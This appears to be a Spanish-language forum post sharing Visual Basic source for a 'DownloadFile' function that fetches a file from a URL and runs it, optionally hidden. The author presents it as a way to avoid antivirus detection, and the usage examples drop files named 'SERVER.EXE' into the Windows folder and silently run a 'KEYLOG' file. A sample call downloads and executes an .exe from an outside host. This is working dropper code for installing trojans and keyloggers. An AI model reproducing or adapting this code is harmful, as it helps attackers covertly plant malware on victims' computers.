El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:
Module1.bas
Código
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 'Función que permite descargar un fichero de internet HTTP o FTP sin usar llamadas a APIS ' 'Uso de la función: ' DownloadFile(URL = String, FileName = String, [SavePath = GlobalVar], [RunAfterDownload = Boolean], [RunHide = Boolean]) ' Return Value = Boolean (indica si se ha descargado o no el archivo) ' '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False) On Error Resume Next Err.Clear Set XML = CreateObject("Microsoft.XMLHTTP") Set ADS = CreateObject("ADODB.Stream") XML.Open "GET", URL, False XML.send XML.getAllResponseHeaders FullSavePath = Environ(SavePath) & "\" & SaveName ADS.Open ADS.Type = 1 ADS.Write XML.responseBody ADS.SaveToFile FullSavePath, 2 If Err Then DownloadFile = False Else If RunAfterDownload = True Then If RunHide = True Then Shell FullSavePath, vbHide Else Shell FullSavePath, vbNormalFocus End If End If DownloadFile = True End If End Function
Y para llamarla desde un Form o desde otra función:
Código
Private Sub Command1_Click() File = DownloadFile("http://perso.wanadoo.es/winworld/exec.exe", "prueba1.exe", "userprofile", True, False) End Sub
El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:
DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana
DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta
DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.
Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)